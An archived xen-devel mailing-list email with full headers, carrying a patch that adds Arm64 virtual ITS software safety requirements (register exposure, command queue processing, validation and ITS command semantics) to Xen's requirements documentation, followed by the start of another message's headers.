Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:12:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364692.1615734 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcjx-0006NE-A2; Fri, 17 Jul 2026 07:12:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364692.1615734; Fri, 17 Jul 2026 07:12:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcjx-0006Lr-4r; Fri, 17 Jul 2026 07:12:09 +0000
Received: by outflank-mailman (input) for mailman id 1364692;
 Fri, 17 Jul 2026 07:12:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wkcjw-0006Fh-2j
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:12:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcjv-0083h9-FP
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:12:07 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5be-2eae-0a2a0a5409dd-0a2a4507dbc4-18
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:07 +0200
Received: from [52.101.70.127]
 (helo=AS8PR04CU009.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5c6-b4ea-0a2a45070019-3465467f3013-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:06 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7985.eurprd03.prod.outlook.com (2603:10a6:20b:428::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 07:12:05 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 07:12:05 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=dUc/2qtKQ5ZlnX8XY9KtmUFGA/haDup8GMKT7p/Fn1YHlPR3i7YEcvElRzCTrO4kpJfBmRFRUKa2YNQiop40b5V7gQ2SAcqpeuJ5QLO2VQ/hITRkr1wT6DGaYRvJkdM6cCWgjly4aCzw4I+p1GPo40SORTyk7zexc8/pQvitMP4ULkrgTs1/GaFitVc7q7jE/K0jgyic7rMHptXHa1p+UZyp+AL6TiJ6GLB/iHJuaK3TdDYtM0f691MA51lAK5oYFqYlaemCQp9fEuRMLQDW0HJD0hn03TzhH5WIhjujDi/I0yI2UXo8sJhYS89PwQxoHn6yI5WRnhvTFhNPvJH2RA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=WIciFQaFNHypn0GkHYDK8/qC14CWFarWv6ht6FIi8uQ=;
 b=qPT+PUTDy7m493s1nop/LFySYEZK03l6giNDL7mW5C6oofJZQiVaWwxMmRZQhoyvSx7LLUaMdmoPvkb3aaxxp4u6f2+pD8hq9oTzJzZWF3PIoaXRUgmCba0NZI+9LLxmHg6/9HsShaz5HFlrKogc4T85IJt/LLJoAeKgQXR1txfwgdx98ROWV2ppcGm7q+43zKObPXAKEFR5ELJZTBItsQma0zVQn7s/UI837MFcYSwVBhPfuYIIxBu9UqhB/UpLK//NbAqmutSIneLe8O+NphGgqrP5BHCoWBHQvmhMMnpiHP847nwJVniv+NjP/Sug3Hj81LrkP93om548LKSDBg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=WIciFQaFNHypn0GkHYDK8/qC14CWFarWv6ht6FIi8uQ=;
 b=PMUkvUp7b52RVb6lef07/n8F3gyhIl0MbLFQqEW4Nhkd9KBlF0k0l3wK5ZTT2OeMneu8lLhlnZE3q9/Oi7k89a8/DvU1kPzHk4g8H9TYi78V3yk7LAAMKWJfoWS0VSeIcTweZ5G1Ef31IstobOTpOgKAVMGP+GEg6KDn0f4CVgCICWpYSTFZGcweRHk+X4v3th2KrGFxKX9quG4hX13rrrc5b/xVaIn+QvAa2wD1wdMF8PUtGHQNjgJpoTobjtVz+UYrt0kdtCp9r+AAX1ioXWrkTXp7gymTNB53HNLt+68QUWyuDMTO3M8QTK4exqd3QNEx4vn7PhTqpGJjYbDC5Q==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Subject: [REQUIREMENTS][PATCH v2 5/6] reqs: add guest vITS requirements
Date: Fri, 17 Jul 2026 10:11:26 +0300
Message-ID: <b593bb50e580ca32247c2ba7e3aa3b412ef360e3.1784272211.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <cover.1784272211.git.mykola_kvach@epam.com>
References: <cover.1784272211.git.mykola_kvach@epam.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA0P291CA0022.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1::22) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7985:EE_
X-MS-Office365-Filtering-Correlation-Id: 6ef09fd2-55b5-46bc-f819-08dee3d2b509
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|18002099003|22082099003|3023799007|10067099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	wxuvcW1r/sYYWZ7zSAPumUSZPOTJw3hqV3caXFqE+lREK3pQkNRHNj8MpUeDAnX4ilaudkWYJnCrDgzKRsM5Od8QzwjizMApDcjKV/2EmS/4aQMQLkEA+h1+xqhOB98eiHm95f8KsNMFjSEAaYRg88fT/Cgc8A9iUb6X7iZCrSn2dM+bR6pXsgl3Yb5AfAGkl0/MQmeU8D0gwXZQyOu9vXPo959vygfk7gIKa7zCY94LpxlQjHDjjO7fejnz+0M/8C/4AY9+UdwqNUiFKGIHVyl1mzIsHWeeWuS1AzaP+4Wxf1gUh9DDjJNSZuqZFuLyd5OgjcCeaGvJgjvoghGHljS2/v6KrvTSGqSKd+74YGNY7IrrUgSqycZ01xaK+d4SUK3s2p/9aSlDabLIiWyDCgQcorE3ig6BcZwGccA5ANlBaPCm3djip3KHXDZUFc2uqPEvhQIl9VmmR/xou8aNQCN9425FDI17YQnpEC6yLZ3+iOOHUjQ57o1s4E90qDu3V5B2wo646PbB6PD8yYXg3oJ9+1kAJp6+2zNoxjKMK+O8vhiPCAZGDef8FWDgmwrUdAcSWNfANRIF8Uh/Mu7xc94YvqLIvQX2L2YytaPRL+LpjrqjMYwyi5Bzxvtyvnub6Q4by6MpNY9cGAiWv8Q72QxEOjgxnhUBRixsa3Py+0k=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(18002099003)(22082099003)(3023799007)(10067099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?dl4zlOGJfyesQ+vxuxRfcMWG51HP8SJ3IGmXW1gMfySyRf4+0uxGHv266QBC?=
 =?us-ascii?Q?sEiAcjTmQameAKJ4MATr33LC4AhjufPqbRv3sUudo6h1LALVxeximWAgln30?=
 =?us-ascii?Q?KiFBy71/dSzZwsivUR+/JVrjUJbNekchNCzaowskkif+/hEncwh35vN5lD0Q?=
 =?us-ascii?Q?aPY9E5Y7jpfLDaVwPbjn6OQLnORz4MA1MkNdj2VqCntmpMmJxHM3N+pwCgw7?=
 =?us-ascii?Q?TNihOjfj8rc8HYOmWhTBdwBH53LE3FGfc7QjYQAWd2cry4zvAndGYrUAiY0Y?=
 =?us-ascii?Q?hKd+WJ+s8LNCb/znEzMd3xrhFN4jyD5Hdfzy/WGgmler0tlEaGeroJiWE18z?=
 =?us-ascii?Q?GLZaQRW8q7JOJuhdkr62VEvzLUjxVFWzFaH7YP7FUbH5yM4Fh47ABknCBsi8?=
 =?us-ascii?Q?wD19ZwqQ1crvOA7r9Idb0HahAo1QWUgGa6CJ4SMkp5aybQ2lXTrEhpAaby1j?=
 =?us-ascii?Q?ay0Gjh/tCH9WuF0kAKd+gzogvfiLEYD9u3+uFB+kvTlIB29rrxFyRTUQJ7+w?=
 =?us-ascii?Q?+6CB/cTfFiy78QDsPOBGxdn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Q4Adfa0QbH?=
 =?us-ascii?Q?v10uUi1MeU/AFSz++3sZbZ4ctmocot5wuYZOaV5ETn0H3X27oBe4aCI5NYQ2?=
 =?us-ascii?Q?4+m37fI4S9nGuJOwXzlaYDEXXVGm3B4Ux7oggu3zLjernBGJr2Vx7OtvV069?=
 =?us-ascii?Q?NZPUgzJrIGhUrU+wl5zUZ9ISqMZF91SLGHHecbGuB2FllQpG1AusWD7Chtqo?=
 =?us-ascii?Q?gxdLuyg6694owgoNRvVzWe/EYpLdeUR+lNBTsvKFW8OU54VRS8G9Qk1XzevX?=
 =?us-ascii?Q?3c34G69t8RBt/XiTlKw+htldNnWXPQ6KDA1nbCgrr4/H0ioWbVm95BfGApTo?=
 =?us-ascii?Q?Z2shvdUXMg=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 6ef09fd2-55b5-46bc-f819-08dee3d2b509
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 07:12:05.4821
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 8HONH4tvVkR2pCLIsqbipnIN6/kj0lfCuazOs6cOf8fDVfPERtB0Vk1fLq+DVy+4IQERyWWmaeg8YtvksL1s7Q==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7985
X-purgate-ID: tlsNG-ef75cf/1784272326-3C212AE4-EA0E1285/0/0
X-purgate-type: clean
X-purgate-size: 12315

Add requirements for Xen's guest-visible virtual ITS model.

The requirements cover virtual ITS instance creation, guest-visible ITS
identification and capability registers, guest ITS table base programming,
guest command queue processing, guest command validation, MAPD, MAPC,
MAPTI, MAPI, INT, CLEAR, DISCARD, MOVI, INV and INVALL command semantics,
command failure containment and virtual ITS MMIO access-width handling.

Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
 .../arm64/index.rst                           |   1 +
 .../arm64/its.rst                             | 382 ++++++++++++++++++
 2 files changed, 383 insertions(+)
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/its.rst

diff --git a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/index.rst b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/index.rst
index 263fc09..7896770 100644
--- a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/index.rst
+++ b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/index.rst
@@ -8,5 +8,6 @@ Arm64
 
    generic_timer
    gicv3
+   its
    tee
    viommu
diff --git a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/its.rst b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/its.rst
new file mode 100644
index 0000000..5258588
--- /dev/null
+++ b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/its.rst
@@ -0,0 +1,382 @@
+.. SPDX-License-Identifier: CC-BY-4.0
+
+vITS requirements
+=================
+
+The following requirements define Xen's virtual ITS model exposed to the
+hardware domain. Non-hardware domain virtual ITS exposure is outside the scope
+of this requirement group.
+
+Assumption of use
+^^^^^^^^^^^^^^^^^
+
+Guest software virtual ITS command use
+--------------------------------------
+
+`XenAoU~arm64~vits_command_use~1`
+
+Description:
+Guest software using Xen's virtual ITS interface shall be compatible with a
+virtual ITS model where the following guest ITS command behaviours have limited
+guest-visible semantics:
+
+ - ``MOVALL`` is not used to move virtual LPI mappings between collections.
+
+Rationale:
+Xen exposes a virtual ITS ABI, not a complete emulation of every physical ITS
+command side effect.
+
+Xen maintains virtual LPI translation state through Xen's virtual ITS device,
+collection and event mapping state. Guest software is assumed to use the
+supported virtual ITS command subset rather than relying on unsupported command
+semantics or on asynchronous physical ITS command-processing behaviour.
+
+Software Safety Requirements
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Guest ITS instance creation
+---------------------------
+
+`XenSSR~arm64~vits_creation~1`
+
+Description:
+Xen shall create a virtual ITS instance for the hardware domain when the
+hardware domain is configured to observe an ITS.
+
+Rationale:
+A virtual ITS provides the guest-visible ITS register interface and command
+processing model used by the hardware domain to configure LPI translation.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest ITS identification and capability registers
+-------------------------------------------------
+
+`XenSSR~arm64~vits_ident_and_cap_regs~1`
+
+Description:
+Xen shall expose guest ITS identification and capability registers according to
+the virtual ITS model implemented for the hardware domain. This shall include
+use of:
+
+ - ``GITS_IIDR``
+ - ``GITS_TYPER``
+ - ``GITS_PIDR2``
+
+Rationale:
+The hardware domain uses the virtual ITS identification and capability
+registers to discover the virtual ITS interface, DeviceID width, EventID width,
+table entry size and supported translation behaviour.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest ITS control and quiescent state
+-------------------------------------
+
+`XenSSR~arm64~vits_ctlr_and_quiescent_state~1`
+
+Description:
+Xen shall process guest ITS commands and report guest ITS quiescent state
+according to the guest-visible ``GITS_CTLR`` state.
+
+Rationale:
+``GITS_CTLR.Enable`` controls guest-visible ITS command processing.
+``GITS_CTLR.Quiescent`` reports whether virtual ITS command queue processing
+has completed.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest ITS table base programming
+--------------------------------
+
+`XenSSR~arm64~vits_table_base_programming~1`
+
+Description:
+Xen shall apply guest ITS command queue and translation table base updates only
+while the virtual ITS is disabled. This shall include use of:
+
+ - ``GITS_CBASER``
+ - ``GITS_BASER0``
+ - ``GITS_BASER1``
+
+Rationale:
+Guest ``GITS_CBASER`` and ``GITS_BASER<n>`` values define the guest command
+queue and guest translation tables consumed by the virtual ITS model.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest ITS table model
+---------------------
+
+`XenSSR~arm64~vits_table_model~1`
+
+Description:
+Xen shall expose guest Device and Collection tables supported by Xen's virtual
+ITS model. This shall include use of:
+
+ - ``GITS_BASER0`` for the guest Device table
+ - ``GITS_BASER1`` for the guest Collection table
+
+Rationale:
+The virtual ITS uses guest Device and Collection table state to translate guest
+DeviceID, EventID and CollectionID values.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest command queue processing
+------------------------------
+
+`XenSSR~arm64~vits_command_queue_processing~1`
+
+Description:
+Xen shall process guest ITS commands from the command queue range described by
+guest ``GITS_CBASER``, ``GITS_CREADR`` and ``GITS_CWRITER`` and advance
+``GITS_CREADR`` for handled commands.
+
+Rationale:
+The guest command queue is guest memory. The queue base and command queue
+pointers define which commands the hardware domain submitted for processing,
+and ``GITS_CREADR`` is the guest-visible command progress indicator.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest ITS command validation
+----------------------------
+
+`XenSSR~arm64~vits_command_validation~1`
+
+Description:
+Xen shall reject guest ITS commands whose fields do not identify valid virtual
+ITS state visible to the hardware domain before applying the requested mapping
+change.
+
+Rationale:
+Guest ITS commands contain guest-controlled DeviceID, EventID, CollectionID,
+virtual LPI and table fields. Xen validates these fields before applying
+mapping changes so that invalid commands do not create invalid virtual ITS
+translation state.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest MAPD device mapping
+-------------------------
+
+`XenSSR~arm64~vits_mapd_device_mapping~1`
+
+Description:
+Xen shall apply a guest ``MAPD`` command with the valid bit set when the
+DeviceID, ITT address and event range describe a guest Device table entry
+supported by the virtual ITS model.
+
+Rationale:
+``MAPD`` with the valid bit set establishes the guest DeviceID-to-ITT
+relationship used by later event translation.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest MAPD device mapping removal
+---------------------------------
+
+`XenSSR~arm64~vits_mapd_device_mapping_removal~1`
+
+Description:
+Xen shall apply a guest MAPD command with the valid bit clear by removing
+the virtual ITS device mapping and the event mappings associated with that
+DeviceID.
+
+Rationale:
+MAPD with the valid bit clear removes the guest DeviceID-to-ITT
+relationship. Event mappings that depend on the removed device mapping cannot
+remain active after the device mapping has been removed.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest MAPC command
+------------------
+
+`XenSSR~arm64~vits_mapc_command~1`
+
+Description:
+Xen shall apply a guest ``MAPC`` command when the CollectionID is valid and the
+target Redistributor maps to a vCPU of the same hardware domain.
+
+Rationale:
+A collection selects the target vCPU for translated LPIs.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest MAPTI and MAPI commands
+-----------------------------
+
+`XenSSR~arm64~vits_mapti_and_mapi_commands~1`
+
+Description:
+Xen shall apply guest ``MAPTI`` or ``MAPI`` commands when the DeviceID,
+EventID, CollectionID and virtual LPI are valid for the hardware domain.
+
+Rationale:
+``MAPTI`` and ``MAPI`` create the guest event-to-virtual-LPI mapping used by
+later event delivery.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest INT command
+-----------------
+
+`XenSSR~arm64~vits_int_command~1`
+
+Description:
+Xen shall inject a guest ``INT`` command as the virtual LPI selected by the
+command's valid DeviceID and EventID translation.
+
+Rationale:
+``INT`` requests delivery of a translated guest ITS event.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest CLEAR command
+-------------------
+
+`XenSSR~arm64~vits_clear_command~1`
+
+Description:
+Xen shall apply a guest ``CLEAR`` command to the pending state of the virtual
+LPI selected by the command's DeviceID and EventID translation.
+
+Rationale:
+``CLEAR`` removes pending state for a translated LPI.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest DISCARD command
+---------------------
+
+`XenSSR~arm64~vits_discard_command~1`
+
+Description:
+Xen shall apply a guest ``DISCARD`` command by removing the virtual ITS mapping
+for the command's DeviceID and EventID.
+
+Rationale:
+``DISCARD`` makes the selected event unmapped in the guest ITS model and
+removes the associated virtual LPI state from the active event mapping.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest MOVI command
+------------------
+
+`XenSSR~arm64~vits_movi_command~1`
+
+Description:
+Xen shall apply a guest ``MOVI`` command to an existing mapped event when the
+destination CollectionID is valid for the same hardware domain.
+
+Rationale:
+``MOVI`` changes the collection target for a translated event.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest LPI property invalidation
+-------------------------------
+
+`XenSSR~arm64~vits_lpi_property_invalidation~1`
+
+Description:
+Xen shall apply guest LPI property-table changes to virtual LPIs selected by
+guest ``INV`` and ``INVALL`` commands. This shall include use of:
+
+ - ``INV``
+ - ``INVALL``
+
+Rationale:
+The guest LPI property table is the guest-visible source of LPI enable and
+priority state. ``INV`` refreshes one translated LPI and ``INVALL`` refreshes
+LPIs targeted to a selected collection.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
+
+Guest ITS MMIO access width
+---------------------------
+
+`XenSSR~arm64~vits_mmio_access_width~1`
+
+Description:
+Xen shall apply a guest ITS MMIO access to an implemented virtual ITS register
+only when the access width is supported by that register.
+
+Rationale:
+The virtual ITS MMIO interface has register-specific access widths. Xen uses
+the target register definition to decode guest accesses so that unsupported
+byte, halfword or unsupported-width accesses do not update implemented virtual
+ITS register state incorrectly.
+
+Covers:
+ - `XenPRQ~virtual_interrupt_controller~1`
+
+Needs:
+ - XenVerTestCase
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:12:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:12:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364690.1615729 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcjw-0006H0-Ri; Fri, 17 Jul 2026 07:12:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364690.1615729; Fri, 17 Jul 2026 07:12:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcjw-0006Gt-Nr; Fri, 17 Jul 2026 07:12:08 +0000
Received: by outflank-mailman (input) for mailman id 1364690;
 Fri, 17 Jul 2026 07:12:06 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wkcju-0005q6-Dx
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:12:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcjt-00H0XY-Q2
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:12:05 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5b8-e002-0a2a0a5209dd-0a2a4501c0f4-30
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:05 +0200
Received: from [52.101.70.109]
 (helo=AS8PR04CU009.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5c5-5984-0a2a45010019-3465466d3704-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:05 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7985.eurprd03.prod.outlook.com (2603:10a6:20b:428::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 07:12:04 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 07:12:04 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=pkN2og13ZaOs6pCSf2b6V13pUP00uvbFKfnmq/pOxzK2CxXFTFcLWS2Un7yzUHrjDObFUo76VL3squv/mUjGwcGgz/SXJPKmlZsCxaINt+/sFQ5wXwe9A35j/GrrU/tlI8CzmtmN9r2w9mH1EURMS8wKsRd7pFawqEun94c0qH7xtT0gaK0gzqofnDbNi7grcUHyyAtM/SiIcIPWF88i7u/lR1TwhDp0iEt+yZDnrngyV1VzPxOGx+F8oh6g0DYQcooLl8byIdqlOXsm2HWSAlzj3/UDdOC0POeMrhT5BrNC/IDibAMrqzrcVYorBEHd1tlXGuPykbRzTWGDZTmu9Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Dr92w94V0rPtA/gfsJJq+CW+myR1yaLgep3VMkEZMFY=;
 b=G+aQZ8kgU9EqBDcqP0IGFlIbWyrJXZswLSJ2PpwDlWMR6dMJfMzHWQ27UEm/F4V3Xg03NsHHIBQeMy++zXw3LMqEhxdtWreJk+3vsOaXHoOPN9wMPOFTpa2QmLuzn4kksMUXr9Pk/H/RwT6i4LDF2r17xxQPeNoQsZPQGo8FAlGpQxWOweOKspm2Fv7Wtkq+LO/ogaVIvOsO+/pEH080jd0RBXfDPbKvfS8gJTK9p92EVRHJ4wZbgVPqD3nAm+0EBnwg2Dk1VVyhsBZwi/VaLBAIJejWU639TrCCC5pSOqWMb+t/hAzn8djsm8+lYhGEBYTrCQvKTSpD4/axzS/z9w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Dr92w94V0rPtA/gfsJJq+CW+myR1yaLgep3VMkEZMFY=;
